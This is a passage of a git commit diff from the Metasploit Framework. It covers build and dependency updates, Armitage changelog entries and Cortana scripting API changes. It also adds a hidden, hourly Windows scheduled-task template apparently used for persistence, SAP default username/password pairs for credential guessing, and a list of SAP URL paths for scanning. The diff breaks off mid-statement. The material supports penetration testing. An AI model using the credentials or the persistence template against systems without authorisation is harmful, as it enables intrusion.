commit
f730aa9b37
|
@ -0,0 +1,58 @@
|
|||
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
|
||||
# controlled by running with coverage, so don't explicitly start coverage (and
|
||||
# therefore generate a report) when in Rubymine. This _will_ generate a report
|
||||
# whenever `rake spec` is run.
|
||||
unless ENV['RM_INFO']
|
||||
SimpleCov.start
|
||||
end
|
||||
|
||||
SimpleCov.configure do
|
||||
# ignore this file
|
||||
add_filter '.simplecov'
|
||||
|
||||
#
|
||||
# Changed Files in Git Group
|
||||
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
|
||||
#
|
||||
|
||||
untracked = `git ls-files --exclude-standard --others`
|
||||
unstaged = `git diff --name-only`
|
||||
staged = `git diff --name-only --cached`
|
||||
all = untracked + unstaged + staged
|
||||
changed_filenames = all.split("\n")
|
||||
|
||||
add_group 'Changed' do |source_file|
|
||||
changed_filenames.detect { |changed_filename|
|
||||
source_file.filename.end_with?(changed_filename)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Framework (msf) related groups
|
||||
#
|
||||
|
||||
add_group 'Metasploit Framework', 'lib/msf'
|
||||
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
|
||||
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
|
||||
|
||||
#
|
||||
# Other library groups
|
||||
#
|
||||
|
||||
add_group 'Fastlib', 'lib/fastlib'
|
||||
add_group 'Metasm', 'lib/metasm'
|
||||
add_group 'PacketFu', 'lib/packetfu'
|
||||
add_group 'Rex', 'lib/rex'
|
||||
add_group 'RKelly', 'lib/rkelly'
|
||||
add_group 'Ruby Mysql', 'lib/rbmysql'
|
||||
add_group 'Ruby Postgres', 'lib/postgres'
|
||||
add_group 'SNMP', 'lib/snmp'
|
||||
add_group 'Zip', 'lib/zip'
|
||||
|
||||
#
|
||||
# Specs are reported on to ensure that all examples are being run and all
|
||||
# lets, befores, afters, etc are being used.
|
||||
#
|
||||
|
||||
add_group 'Specs', 'spec'
|
||||
end
|
|
@ -1,4 +1,8 @@
|
|||
language: ruby
|
||||
before_install:
|
||||
- sudo apt-get update -qq
|
||||
- sudo apt-get install -qq libpcap-dev
|
||||
|
||||
rvm:
|
||||
#- '1.8.7'
|
||||
- '1.9.3'
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
--protected
|
||||
--exclude samples/
|
||||
--exclude \.ut\.rb/
|
||||
--exclude \.ts\.rb/
|
||||
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
|
||||
lib/msf/**/*.rb
|
||||
lib/rex/**/*.rb
|
2
Gemfile
2
Gemfile
|
@ -7,7 +7,7 @@ gem 'activerecord'
|
|||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
gem 'json'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0'
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.1'
|
||||
# Needed by msfgui and other rpc components
|
||||
gem 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
30
Gemfile.lock
30
Gemfile.lock
|
@ -1,9 +1,9 @@
|
|||
GIT
|
||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||
revision: 448c1065329efea1eac76a3897f626f122666743
|
||||
tag: 0.4.0
|
||||
revision: 7f8e36d9b62a36bcbf43c8f1ab48a07bed0732d9
|
||||
tag: 0.6.1
|
||||
specs:
|
||||
metasploit_data_models (0.4.0)
|
||||
metasploit_data_models (0.6.1)
|
||||
activerecord (>= 3.2.10)
|
||||
activesupport
|
||||
pg
|
||||
|
@ -12,22 +12,22 @@ GIT
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.11)
|
||||
activesupport (= 3.2.11)
|
||||
activemodel (3.2.12)
|
||||
activesupport (= 3.2.12)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.11)
|
||||
activemodel (= 3.2.11)
|
||||
activesupport (= 3.2.11)
|
||||
activerecord (3.2.12)
|
||||
activemodel (= 3.2.12)
|
||||
activesupport (= 3.2.12)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.11)
|
||||
activesupport (3.2.12)
|
||||
i18n (~> 0.6)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
builder (3.0.4)
|
||||
coderay (1.0.8)
|
||||
coderay (1.0.9)
|
||||
diff-lcs (1.1.3)
|
||||
i18n (0.6.1)
|
||||
i18n (0.6.4)
|
||||
json (1.7.7)
|
||||
method_source (0.8.1)
|
||||
msgpack (0.5.2)
|
||||
|
@ -35,10 +35,10 @@ GEM
|
|||
nokogiri (1.5.6)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.14.1)
|
||||
pry (0.9.10)
|
||||
pry (0.9.12)
|
||||
coderay (~> 1.0.5)
|
||||
method_source (~> 0.8)
|
||||
slop (~> 3.3.1)
|
||||
slop (~> 3.4)
|
||||
rake (10.0.2)
|
||||
redcarpet (2.2.2)
|
||||
robots (0.10.1)
|
||||
|
@ -54,8 +54,8 @@ GEM
|
|||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
slop (3.3.3)
|
||||
tzinfo (0.3.35)
|
||||
slop (3.4.3)
|
||||
tzinfo (0.3.36)
|
||||
yard (0.8.3)
|
||||
|
||||
PLATFORMS
|
||||
|
|
80
Rakefile
80
Rakefile
|
@ -1,47 +1,49 @@
|
|||
require 'bundler/setup'
|
||||
|
||||
require 'rspec/core/rake_task'
|
||||
require 'yard'
|
||||
require 'metasploit_data_models'
|
||||
|
||||
RSpec::Core::RakeTask.new(:spec)
|
||||
print_without = false
|
||||
|
||||
task :default => :spec
|
||||
begin
|
||||
require 'rspec/core/rake_task'
|
||||
rescue LoadError
|
||||
puts "rspec not in bundle, so can't set up spec tasks. " \
|
||||
"To run specs ensure to install the development and test groups."
|
||||
|
||||
namespace :yard do
|
||||
yard_files = [
|
||||
# Ruby source files first
|
||||
'lib/msf/**/*.rb',
|
||||
'lib/rex/**/*.rb',
|
||||
# Anything after '-' is a normal documentation, not source
|
||||
'-',
|
||||
'COPYING',
|
||||
'HACKING',
|
||||
'THIRD-PARTY.md'
|
||||
]
|
||||
yard_options = [
|
||||
# include documentation for protected methods for developers extending the code.
|
||||
'--protected'
|
||||
]
|
||||
print_without = true
|
||||
else
|
||||
RSpec::Core::RakeTask.new(:spec)
|
||||
|
||||
YARD::Rake::YardocTask.new(:doc) do |t|
|
||||
t.files = yard_files
|
||||
# --no-stats here as 'stats' task called after will print fuller stats
|
||||
t.options = yard_options + ['--no-stats']
|
||||
|
||||
t.after = Proc.new {
|
||||
Rake::Task['yard:stats'].execute
|
||||
}
|
||||
end
|
||||
|
||||
desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods"
|
||||
task :stats => :environment do
|
||||
stats = YARD::CLI::Stats.new
|
||||
yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files
|
||||
stats.run(*yard_arguments)
|
||||
end
|
||||
task :default => :spec
|
||||
end
|
||||
|
||||
# @todo Figure out how to just clone description from yard:doc
|
||||
desc "Generate YARD documentation"
|
||||
# allow calling namespace to as a task that goes to default task for namespace
|
||||
task :yard => ['yard:doc']
|
||||
begin
|
||||
require 'yard'
|
||||
rescue LoadError
|
||||
puts "yard not in bundle, so can't set up yard tasks. " \
|
||||
"To generate documentation ensure to install the development group."
|
||||
|
||||
print_without = true
|
||||
end
|
||||
|
||||
metasploit_data_models_task_glob = MetasploitDataModels.root.join(
|
||||
'lib',
|
||||
'tasks',
|
||||
'**',
|
||||
'*.rake'
|
||||
).to_s
|
||||
|
||||
# include tasks from metasplioit_data_models, such as `rake yard`.
|
||||
# metasploit-framework specific yard options are in .yardopts
|
||||
Dir.glob(metasploit_data_models_task_glob) do |path|
|
||||
load path
|
||||
end
|
||||
|
||||
if print_without
|
||||
puts "Bundle currently installed " \
|
||||
"'--without #{Bundler.settings.without.join(' ')}'."
|
||||
puts "To clear the without option do `bundle install --without ''` " \
|
||||
"(the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and " \
|
||||
"then `bundle install`"
|
||||
end
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,35 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
6 Mar 13 (tested against msf ca43900a7)
|
||||
--------
|
||||
- Active console now gets higher priority when polling msf for output
|
||||
- Improved team server responsiveness in high latency situations by
|
||||
creating additional connections to server to balance messages over
|
||||
- Preferences are now shared among each Armitage connection.
|
||||
|
||||
6 Mar 13 (2000h)
|
||||
--------
|
||||
- Fixed issue with additional team server connections reporting wrong
|
||||
application and receiving a summary rejection by the team server.
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- Added a &publish, &query, &subscribe API to allow inter-script
|
||||
communication across the team server.
|
||||
- Added &table_update to set the contents of a table tab without
|
||||
disturbing the highlighted rows.
|
||||
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
|
||||
due to an error reported by meterpreter.
|
||||
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
|
||||
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
|
||||
command 60s to execute. If it doesn't finish in that time, Cortana
|
||||
will release the lock on the shell so the user can control it.
|
||||
(ideally, this shouldn't happen... this is a safety mechanism)
|
||||
- Changed Meterpreter command timeout to 2m from 12s. This is because
|
||||
https meterpreter might not checkin for up to 60s, if it's been
|
||||
idle for a long time. This will make &m_cmd less likely to timeout
|
||||
|
||||
12 Feb 13 (tested against msf 16438)
|
||||
---------
|
||||
- Fixed a corner case preventing the display of removed host labels
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,50 @@
|
|||
<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<RegistrationInfo>
|
||||
<Date>DATEHERE</Date>
|
||||
<Author>USERHERE</Author>
|
||||
</RegistrationInfo>
|
||||
<Triggers>
|
||||
<TimeTrigger>
|
||||
<Repetition>
|
||||
<Interval>PT60M</Interval>
|
||||
<StopAtDurationEnd>false</StopAtDurationEnd>
|
||||
</Repetition>
|
||||
<StartBoundary>DATEHERE</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
</TimeTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="Author">
|
||||
<UserId>DOMAINHERE</UserId>
|
||||
<LogonType>S4U</LogonType>
|
||||
<RunLevel>LeastPrivilege</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<StartWhenAvailable>false</StartWhenAvailable>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<Duration>PT10M</Duration>
|
||||
<WaitTimeout>PT1H</WaitTimeout>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="Author">
|
||||
<Exec>
|
||||
<Command>COMMANDHERE</Command>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
|
@ -1,127 +0,0 @@
|
|||
class MoveOldImportedCredsToNewFiles < ActiveRecord::Migration
|
||||
|
||||
class ImportedCred < ActiveRecord::Base
|
||||
end
|
||||
|
||||
class CredFile < ActiveRecord::Base
|
||||
end
|
||||
|
||||
class Workspace < ActiveRecord::Base
|
||||
end
|
||||
|
||||
class << self
|
||||
|
||||
def find_or_create_cred_path
|
||||
cred_files_dir = nil
|
||||
msf_base = Msf::Config.install_root
|
||||
pro_base = File.expand_path(File.join(msf_base, "..", "engine", "lib", "pro"))
|
||||
if File.directory? pro_base
|
||||
cred_files_dir = File.expand_path(File.join(msf_base, "..", "cred_files"))
|
||||
FileUtils.mkdir_p(cred_files_dir) unless File.exists?(cred_files_dir)
|
||||
if File.directory?(cred_files_dir) and File.writable?(cred_files_dir)
|
||||
end
|
||||
end
|
||||
return cred_files_dir
|
||||
end
|
||||
|
||||
def find_all_imported_creds_by_workspace
|
||||
valid_ptypes = ["smb_hash", "userpass", "password"]
|
||||
valid_workspaces = Workspace.all.map {|w| w.id}
|
||||
creds = {}
|
||||
ImportedCred.all.each do |cred|
|
||||
next unless cred.ptype
|
||||
next unless valid_ptypes.include? cred.ptype
|
||||
next unless cred.workspace_id
|
||||
next unless valid_workspaces.include? cred.workspace_id
|
||||
creds[cred.workspace_id] ||= []
|
||||
creds[cred.workspace_id] << cred
|
||||
end
|
||||
return creds
|
||||
end
|
||||
|
||||
def sort_creds_into_file_types(old_creds)
|
||||
files = {}
|
||||
old_creds.each do |wid,creds|
|
||||
filedata = {}
|
||||
creds.each do |cred|
|
||||
filedata[cred.ptype] ||= []
|
||||
case cred.ptype
|
||||
when "smb_hash", "userpass"
|
||||
filedata[cred.ptype] << ("%s %s" % [cred.user,cred.pass])
|
||||
when "password"
|
||||
filedata[cred.ptype] << cred.pass.to_s
|
||||
end
|
||||
files[wid] = filedata
|
||||
end
|
||||
end
|
||||
return files
|
||||
end
|
||||
|
||||
def write_creds_to_files(old_creds,cred_path)
|
||||
file_data_to_write = sort_creds_into_file_types(old_creds)
|
||||
files_written = []
|
||||
file_data_to_write.each do |wid, fdata_hash|
|
||||
fdata_hash.each do |ftype,cred_data|
|
||||
next unless cred_data
|
||||
next if cred_data.empty?
|
||||
fname = File.join(cred_path,"creds_#{wid}_#{ftype}-#{Time.now.utc.to_i}.txt")
|
||||
fdata = cred_data.join("\n")
|
||||
fh = File.open(fname, "wb")
|
||||
begin
|
||||
fh.write fdata
|
||||
fh.flush
|
||||
ensure
|
||||
fh.close
|
||||
end
|
||||
files_written << fname
|
||||
end
|
||||
end
|
||||
return files_written
|
||||
end
|
||||
|
||||
def register_new_files(new_files)
|
||||
successful_count = 0
|
||||
new_files.each do |fname|
|
||||
next unless File.split(fname).last =~ /^creds_([0-9]+)_(userpass|password|smb_hash)\-[0-9]+\.txt$/
|
||||
wid = $1
|
||||
next unless Workspace.find(wid)
|
||||
ftype = $2
|
||||
actual_ftype = case ftype
|
||||
when "smb_hash", "userpass"
|
||||
"userpass" # They're treated the same
|
||||
when "password"
|
||||
"pass"
|
||||
end
|
||||
next unless actual_ftype
|
||||
say "Registering credential file '%s' for workspace %d as type '%s'" % [fname,wid,actual_ftype]
|
||||
cred_file = CredFile.new
|
||||
cred_file.workspace_id = wid
|
||||
cred_file.created_by = ""
|
||||
cred_file.path = fname
|
||||
cred_file.name = "#{ftype}.txt"
|
||||
cred_file.desc = "Migrated #{ftype} credentials"
|
||||
cred_file.ftype = actual_ftype
|
||||
if cred_file.save
|
||||
successful_count += 1
|
||||
say "Successfully imported #{ftype} credentials for workspace #{wid}"
|
||||
end
|
||||
end
|
||||
successful_count
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def self.up
|
||||
cred_path = find_or_create_cred_path
|
||||
if cred_path
|
||||
old_imported_creds = find_all_imported_creds_by_workspace
|
||||
new_files = write_creds_to_files(old_imported_creds,cred_path)
|
||||
successful_count = register_new_files(new_files)
|
||||
end
|
||||
end
|
||||
|
||||
# Sorry, can't get the old data back.
|
||||
def self.down
|
||||
end
|
||||
|
||||
end
|
|
@ -6,9 +6,14 @@ SAPCPIC ADMIN
|
|||
EARLYWATCH SUPPORT
|
||||
TMSADM PASSWORD
|
||||
TMSADM ADMIN
|
||||
TMSADM $1Pawd2&
|
||||
ADMIN welcome
|
||||
ADSUSER ch4ngeme
|
||||
ADS_AGENT ch4ngeme
|
||||
DEVELOPER ch4ngeme
|
||||
J2EE_ADMIN ch4ngeme
|
||||
SAPJSF ch4ngeme
|
||||
SAPR3 SAP
|
||||
CTB_ADMIN sap123
|
||||
XMI_DEMO sap123
|
||||
|
||||
|
|
|
@ -93,11 +93,11 @@
|
|||
/rwb/version.html
|
||||
/sap/admin
|
||||
/sap/bc/bsp/esh_os_service/favicon.gif
|
||||
/sap/bc/bsp/sap
|
||||
/sap/bc/bsp/sap
|
||||
/sap/bc/bsp/sap/alertinbox
|
||||
/sap/bc/bsp/sap/bsp_dlc_frcmp
|
||||
/sap/bc/bsp/sap/bsp_veri
|
||||
/sap/bc/bsp/sap/bsp_verificatio
|
||||
/sap/bc/bsp/sap/bsp_verificatio
|
||||
/sap/bc/bsp/sap/bsp_wd_base
|
||||
/sap/bc/bsp/sap/bspwd_basics
|
||||
/sap/bc/bsp/sap/certmap
|
||||
|
@ -116,31 +116,46 @@
|
|||
/sap/bc/bsp/sap/graph_bsp_test
|
||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
/sap/bc/bsp/sap/gsbirp
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
/sap/bc/bsp/sap/iccmp_header
|
||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00/default.htm
|
||||
/sap/bc/bsp/sap/it00/http_client.htm
|
||||
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/graphics
|
||||
/sap/bc/bsp/sap/sam_demo
|
||||
/sap/bc/bsp/sap/sam_notifying
|
||||
/sap/bc/bsp/sap/sam_sess_queue
|
||||
/sap/bc/bsp/sap/sbspext_htmlb
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/sbspext_htmlb
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/spi_admin
|
||||
/sap/bc/bsp/sap/spi_monitor
|
||||
/sap/bc/bsp/sap/sxms_alertrules
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/thtmlb_scripts
|
||||
/sap/bc/bsp/sap/thtmlb_styles
|
||||
/sap/bc/bsp/sap/uicmp_ltx
|
||||
/sap/bc/bsp/sap/xmb_bsp_log
|
||||
/sap/bc/contentserver
|
||||
/sap/bc/echo
|
||||
/sap/bc/erecruiting/applwzd
|
||||
/sap/bc/erecruiting/confirmation_e
|
||||
/sap/bc/erecruiting/confirmation_i
|
||||
/sap/bc/erecruiting/dataoverview
|
||||
/sap/bc/erecruiting/password
|
||||
/sap/bc/erecruiting/posting_apply
|
||||
/sap/bc/erecruiting/qa_email_e
|
||||
/sap/bc/erecruiting/qa_email_i
|
||||
/sap/bc/erecruiting/registration
|
||||
/sap/bc/erecruiting/startpage
|
||||
/sap/bc/erecruiting/verification
|
||||
/sap/bc/error
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/graphics/net
|
||||
|
@ -165,10 +180,36 @@
|
|||
/sap/bc/webdynpro/sap/cnp_light_test
|
||||
/sap/bc/webdynpro/sap/configure_application
|
||||
/sap/bc/webdynpro/sap/configure_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_appls
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_applwizard
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_dataoverview
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_draft_applications
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_posting_apply
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_psett_ext
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_psett_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_qa_mss
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_req_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
|
@ -196,11 +237,12 @@
|
|||
/sapmc/sapmc.html
|
||||
/sap/monitoring/
|
||||
/sap/public/bc
|
||||
/sap/public/bc
|
||||
/sap/public/bc/icons
|
||||
/sap/public/bc/icons_rtl
|
||||
/sap/public/bc/its
|
||||
/sap/public/bc/its/designs
|
||||
/sap/public/bc/its/mimes
|
||||
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
/sap/public/bc/its/mobile/itsmobile00
|
||||
/sap/public/bc/its/mobile/itsmobile01
|
||||
/sap/public/bc/its/mobile/rfid
|
||||
|
@ -211,8 +253,9 @@
|
|||
/sap/public/bc/pictograms
|
||||
/sap/public/bc/sicf_login_run
|
||||
/sap/public/bc/trex
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/wdtracetool
|
||||
/sap/public/bc/webdynpro
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/ssr
|
||||
|
@ -220,16 +263,17 @@
|
|||
/sap/public/bc/webicons
|
||||
/sap/public/bc/workflow
|
||||
/sap/public/bc/workflow/shortcut
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/faa
|
||||
/sap/public/bsp/sap/public/graphics
|
||||
/sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
/sap/public/bsp/sap/public/graphics/mimes
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/icf_check
|
||||
/sap/public/icf_info
|
||||
/sap/public/icf_info/icr_groups
|
||||
|
|
|
@ -1,12 +0,0 @@
|
|||
source 'http://rubygems.org'
|
||||
gem 'rails', '3.2.2'
|
||||
gem 'authlogic'
|
||||
gem 'prototype_legacy_helper', '0.0.0', :git => 'git://github.com/jvennix-r7/prototype_legacy_helper.git'
|
||||
gem 'state_machine', '1.1.2'
|
||||
gem 'liquid', '2.3.0'
|
||||
gem 'ice_cube'
|
||||
gem 'acts_as_list'
|
||||
gem 'mime-types', '1.18', :git => "git://github.com/rapid7/mime-types.git"
|
||||
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
|
||||
gem 'robots', '0.10.1'
|
||||
|
|
@ -3,7 +3,7 @@
|
|||
<center><h1>Armitage 1.45</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 12 Feb 13</p>
|
||||
<br />Release: 6 Mar 13</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
|
|
|
@ -188,13 +188,24 @@ sub table_selected_single {
|
|||
|
||||
# table_set($table, @rows)
|
||||
sub table_set {
|
||||
local('$model $row');
|
||||
$model = [$1 getModel];
|
||||
[$model clear: size($2) * 2];
|
||||
foreach $row ($2) {
|
||||
[$model addEntry: $row];
|
||||
}
|
||||
[$model fireListeners];
|
||||
later(lambda({
|
||||
local('$model $row');
|
||||
$model = [$a getModel];
|
||||
[$model clear: size($b) * 2];
|
||||
foreach $row ($b) {
|
||||
[$model addEntry: $row];
|
||||
}
|
||||
[$model fireListeners];
|
||||
}, $a => $1, $b => $2));
|
||||
}
|
||||
|
||||
# table_set($table, @rows)
|
||||
sub table_update {
|
||||
later(lambda({
|
||||
[$a markSelections];
|
||||
table_set($a, $b);
|
||||
[$a restoreSelections];
|
||||
}, $a => $1, $b => $2));
|
||||
}
|
||||
|
||||
# table_sorter($table, index, &function);
|
||||
|
|
|
@ -583,6 +583,39 @@ sub data_add {
|
|||
call("db.key_add", $1, $data);
|
||||
}
|
||||
|
||||
#
|
||||
# a publish/query/subscribe API
|
||||
#
|
||||
|
||||
# publish("key", $object)
|
||||
sub publish {
|
||||
local('$data');
|
||||
$data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')];
|
||||
call_async("armitage.publish", $1, "$data $+ \n");
|
||||
}
|
||||
|
||||
# query("key", "index")
|
||||
sub query {
|
||||
local('$r @r $result');
|
||||
$r = call("armitage.query", $1, $2)['data'];
|
||||
if ($r ne "") {
|
||||
foreach $result (split("\n", $r)) {
|
||||
push(@r, unpack("o", [msf.Base64 decode: $result])[0]);
|
||||
}
|
||||
}
|
||||
return @r;
|
||||
}
|
||||
|
||||
# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m")
|
||||
sub subscribe {
|
||||
on("heartbeat_ $+ $3", lambda({
|
||||
local('$result');
|
||||
foreach $result (query($key, $index)) {
|
||||
fire_event_local($key, $result, $index);
|
||||
}
|
||||
}, $key => $1, $index => $2));
|
||||
}
|
||||
|
||||
#
|
||||
# Shell shock?
|
||||
#
|
||||
|
@ -834,7 +867,7 @@ sub m_exec {
|
|||
}, \$command, \$channel, \$buffer));
|
||||
}
|
||||
else {
|
||||
# this is probably ok...
|
||||
fire_event_local("exec_error", $1, $command, ["$3" trim]);
|
||||
}
|
||||
}, \$command));
|
||||
}
|
||||
|
|
|
@ -15,7 +15,7 @@ import graph.*;
|
|||
|
||||
import java.awt.image.*;
|
||||
|
||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME');
|
||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL');
|
||||
|
||||
sub describeHost {
|
||||
local('$desc');
|
||||
|
@ -164,13 +164,14 @@ sub _connectToMetasploit {
|
|||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||
$aclient = [new RpcAsync: $client];
|
||||
$mclient = $client;
|
||||
push(@POOL, $aclient);
|
||||
initConsolePool();
|
||||
$DESCRIBE = "localhost";
|
||||
}
|
||||
# we have a team server... connect and authenticate to it.
|
||||
else {
|
||||
[$progress setNote: "Connected: logging in"];
|
||||
$client = c_client($1, $2);
|
||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
||||
$mclient = setup_collaboration($3, $4, $1, $2);
|
||||
$aclient = $mclient;
|
||||
|
||||
|
@ -178,6 +179,17 @@ sub _connectToMetasploit {
|
|||
[$progress close];
|
||||
return;
|
||||
}
|
||||
else {
|
||||
[$progress setNote: "Connected: authenticated"];
|
||||
}
|
||||
|
||||
# create six additional connections to team server... for balancing consoles.
|
||||
local('$x $cc');
|
||||
for ($x = 0; $x < 6; $x++) {
|
||||
$cc = c_client($1, $2);
|
||||
call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326);
|
||||
